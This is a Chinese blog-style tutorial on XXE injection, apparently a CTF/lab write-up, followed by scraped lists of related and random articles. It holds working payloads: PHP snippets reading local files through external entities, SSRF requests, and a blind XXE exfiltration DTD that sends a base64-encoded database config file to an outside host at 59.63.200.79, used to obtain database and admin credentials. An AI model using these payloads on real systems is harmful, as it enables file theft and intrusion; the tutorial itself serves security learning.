XXE漏洞——介绍及利用
什么是xxe
XML外部实体注入,简称XXE漏洞。XML文档结构包括XML声明,DTD文档类型定义,文档元素。
XML示例
<?xml version="1.0"?>XML声明
<!DOCTYPE note [
<!ELEMENT note(to,from,heading,body)>
<!ELEMENT to(#PCDATA)>
<!ELEMENT from(#PCDATA)> 文档定义类型(DTD)
<!ELEMENT heading(#PCDATA)>
<!ELEMENT body(#PCDATA)>
]>
<note>
<to>tove</to>
<from>jani</from>
<heading>reminder</heading>
<body>don't forget me this weekend</body> 文档元素
</note>
DTD的内、外部声明
- 内部声明格式
<!DOCTYPE 根元素 [次一级元素声明]
- 外部引用格式
<!DOCTYPE 根元素 SYSTEM "url路径"
PHP示范利用DTD的外部使用操控XML
php代码
<?php
$test = '<!DOCTYPE xxx1 [<!ENTITY xxx2 SYSTEM "file:///c:/phpstudy_pro/123.txt">]><xxx3>&xxx2;</xxx3>'; //后面的标签名,&实体声明一定得有
$obj = simplexml_load_string($test, 'simpleXMLElement', LIBXML_NOENT);
print_r($obj);
?>
结果:

外部DTD支持的协议

简单漏洞利用!
可以让目标服务通过特定协议去访问相关资源,从而实现SSRF(服务器请求伪造)
攻击。我们还可以进行内网服务探测、端口探测等利用
利用http请求baidu
<?php
$test = '<!DOCTYPE xxx1 [<!ENTITY xxx2 SYSTEM "https://baidu.com">]><xxx3>&xxx2;</xxx3>';
$obj = simplexml_load_string($test, 'simpleXMLElement', LIBXML_NOENT);
print_r($obj);
?>
结果

虽然页面是很多Wraning警告,但其实我们已经得到了baidu的源码数据
盲注漏洞利用!
XXE中也存在盲注,不会给你显示东西。
思路
利用其他东西证明其存在
延时
写文件
搭建一个服务器里边有个php(test_blind.php)文件,访问后搭建的服务器目录生成一个文件
//test_blind.php 文件
<?php
file_put_contents("Yes.txt", $_GET["id"],FILE_APPEND);
?>

将结果外带出来
DNS注入
反弹注入
SSRF和XXE最大的功能是能发起请求,这给了我们很大的空间发挥
复现环境
目标
闪灵建站cms
分析
目标是老版本闪灵源码。然后我找不到这个版本了。
数据库配置目录文件
conn/conn.php
含有 simplexml_load_string 函数的漏洞目录文件
weixin/index.php
思路
访问含有漏洞的文件,发现其接受POST传参作为XML执行。但同时必须传入一个参数(signature)让它不为空
图片1

图片2

- 解读php://input
接收所有POST的数据
实践
首先试探性的随便传一些数据。

发现爆出了绝对路径。这时候我们可以构造XML
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStudy/scms/conn/conn.php">
<!ENTITY % remote SYSTEM "http://59.63.200.79:8017/1.xml">
%remote;
%send;
]>
% file 定义一个参数实体,SYSTEM表示外部引用。其中%remote是引用外部xml,那是靶场提供的xml,内容如下。
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://59.63.200.79:8017/2.php?id=%file;'>"
>
%all;

发现继续报错,但是这并没关系。我们已经得到了想要的东西。再看靶场提供的3.txt文件,里边记录了我们获得的信息

解密后得到数据库连接密码,但是

则是内网ip,接下来我们找找网站数据库登录后台。这里是adminer.php
成功进入后台,查表得管理员密码

md5解密后记得flag
XXE漏洞——介绍及利用的更多相关文章
- XXE漏洞原理及利用
0x01概述 XXE(外部实体注入)是XML注入的一种,普通的XML注入利用面比较狭窄,如果有的话也是逻辑类漏洞.XXE扩大了攻击面. 当允许引用外部实体时,就可能导致任意文件读取.系统命令执行.内网 ...
- XXE漏洞介绍 & XXE漏洞攻击 & 修复建议
介绍XXE漏洞 XML外部实体注入(XML External Entity)简称XXE漏洞,XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是-种允许用户对自己的标记语 ...
- 浅谈XXE漏洞攻击与防御——本质上就是注入,盗取数据用
浅谈XXE漏洞攻击与防御 from:https://thief.one/2017/06/20/1/ XML基础 在介绍xxe漏洞前,先学习温顾一下XML的基础知识.XML被设计为传输和存储数据,其焦点 ...
- ref:浅谈XXE漏洞攻击与防御
ref:https://thief.one/2017/06/20/1/ 浅谈XXE漏洞攻击与防御 发表于 2017-06-20 | 分类于 web安全 | 热度 3189 ℃ 你会挽着我 ...
- 1.浅谈XXE漏洞攻击与防御
XML基础 在介绍XXE漏洞前,先学习温顾一下XML的基础知识.XML被设计为传输和存储数据,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具. XML是一种用于标记电子文 ...
- [WEB安全]XXE漏洞总结
目录 0x00 XML基础 0x01 XML文档结构 0x02 DTD 0x03 实体 0x04 XXE漏洞 0x05 总结一些payload 0x06 XXE漏洞修复与防御 0x07 参考链接 0x ...
- 浅入深出了解XXE漏洞
环境搭建 https://github.com/c0ny1/xxe-lab 为了更深入的理解,我准备理论和实际相结合的了解XXE! 浅谈XML 初识XML 一个好的代码基础能帮助你更好理解一类漏洞,所 ...
- 实战讲解XXE漏洞的利用与防御策略
现在许多不同的客户端技术都可以使用XMl向业务应用程序发送消息,为了使应用程序使用自定义的XML消息,应用程序必须先去解析XML文档,并且检查XML格式是否正确.当解析器允许XML外部实体解析时,就会 ...
- xxe漏洞的学习与利用总结
前言 对于xxe漏洞的认识一直都不是很清楚,而在我为期不长的挖洞生涯中也没有遇到过,所以就想着总结一下,撰写此文以作为记录,加深自己对xxe漏洞的认识. xml基础知识 要了解xxe漏洞,那么一定得先 ...
随机推荐
- 为什么 TCP 链接需要三次握手,两次不可以么,为什么?
两次握手 三次握手
- LGP2233题解
题目大意 求环上走 \(n\) 步从指定点到达另一指定点,到达指定点后 不得继续移动. 大家都做过P1057传球游戏吧?还记得这道题的思路吗? 设 \(dp[i][j]\) 表示传 \(i\) 次求传 ...
- 1357:车厢调度(train) ybt
1357:车厢调度(train) [题目描述] 有一个火车站,铁路如图所示,每辆火车从A驶入,再从B方向驶出,同时它的车厢可以重新组合.假设从A方向驶来的火车有nn节(n≤1000n≤1000),分别 ...
- 合并两个以单链表形式表示的关于x的多项式(基于c语言)
只写函数内部的,不懂得可以看前面一篇文章对链表的实现: pLinklist addBothLinklist(Linklist* first,Linklist* second){ Linklist *n ...
- 《前端运维》一、Linux基础--10定时任务
一.进程管理 进程(Process)是计算机中的程序关于某数据集合上的一次运行活动,是系统进行资源分配和调度的基本单位,是操作系统结构的基础.在早期面向进程设计的计算机结构中,进程是程序的基本执行实体 ...
- JVM | 第1部分:自动内存管理与性能调优《深入理解 Java 虚拟机》
目录 前言 1. 自动内存管理 1.1 JVM运行时数据区 1.2 Java 内存结构 1.3 HotSpot 虚拟机创建对象 1.4 HotSpot 虚拟机的对象内存布局 1.5 访问对象 2. 垃 ...
- 对路径“C:\inetpub\wwwroot\Test\Temper\”的访问被拒绝 【已解决】
在IIS7上部署IIS站点时,出现如下错误: 对路径"C:\inetpub\wwwroot\Test\Temper\"的访问被拒绝: 原因是:程序对"C:\inetpub ...
- 『现学现忘』Docker基础 — 32、通过DockerFile的方式挂载数据卷
目录 1.简单了解一下DockerFile 2.通过DockerFile的方式挂载数据卷 (1)创建DockerFile文件 (2)编辑Dockerfile文件 (3)构建Dokcer镜像 (4)启动 ...
- KCP协议:从TCP到UDP家族QUIC/KCP/ENET
行文前先安利下<再深谈TCP/IP三步握手&四步挥手原理及衍生问题-长文解剖IP >.<再谈UDP协议-浅入理解深度记忆> KCP协议科普 KCP是一个快速可靠协议,能 ...
- JavaScript01 js基础语法,数据类型
JavaScript的概述: 1.组成 三部分组成 ecmaScript 基础语法 (es5) dom document object model 文档对象模型 (操作html文档内容) bom bo ...